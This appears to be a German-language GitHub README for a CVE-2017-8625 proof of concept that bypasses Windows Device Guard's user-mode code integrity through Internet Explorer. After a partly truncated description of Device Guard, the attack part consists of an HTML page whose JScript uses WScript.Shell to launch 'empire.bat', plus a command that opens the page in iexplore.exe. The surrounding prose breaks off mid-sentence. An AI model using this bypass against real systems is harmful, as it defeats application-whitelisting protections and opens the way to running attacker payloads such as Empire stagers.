homjxi0e/cve-2017-8625_bypass_umciBypass der UMCI-Funktion im Internet Explorer
Windows Defender Device Guard ist eine Kombination aus unternehmensbezogenen Hardware- und Softwaresicherheitsfunktionen, die, wenn sie gemeinsam konfiguriert werden, ein Gerät so sperren, dass es nur vertrauenswürdige Anwendungen ausführen kann, die Sie in Ihren Code-Integritätsrichtlinien definieren. Wenn die App nicht vertrauenswürdig ist, kann sie nicht ausgeführt werden – Punkt. Mit Hardware, die grundlegende Anforderungen erfüllt, bedeutet dies auch, dass selbst wenn ein Angreifer die Kontrolle über den Windows-Kernel erlangt, die Wahrscheinlichkeit, dass er bösartigen ausführbaren Code ausführen kann, viel geringer ist. Mit entsprechender Hardware kann Windows Defender Device Guard die neue virtualisierungsbasierte Sicherheit in Windows 10 (verfügbar in Enterprise- und Education-Desktop-SKUs sowie in allen Server-SKUs) nutzen, um den Code-Integritätsdienst vom Microsoft Windows-Kernel selbst zu isolieren. In diesem Fall läuft der Code-Integritätsdienst zusammen mit dem Kernel in einem Windows-Hypervisor-geschützten Container. Dieser Leitfaden untersucht die einzelnen Funktionen in Windows Defender Device Guard sowie die Planung, Konfiguration und Bereitstellung. Er umfasst:
UMCI verhindert die Ausführung nicht genehmigter Binärdateien, schränkt Windows Scripting Host ein und versetzt PowerShell in den Constrained Language Mode. Dadurch wird die Erlangung von Codeausführung auf einem System recht schwierig. Dieser Beitrag wird
======================================================================||>
======================================================================||>
<html>
<body>
<script type="text/jscript">
var r = new ActiveXObject("WScript.Shell").Run("empire.bat");
</script>
</body>
</html>
======================================================================||>
PS:> C:\Users\Homjxie> cmd /C "C:\Program Files\Internet Explorer\iexplore.exe " "C:\Users\Homjxie\Desktop\Homjxie.html"
======================================================================||>
======================================================================||> ======================================================================||>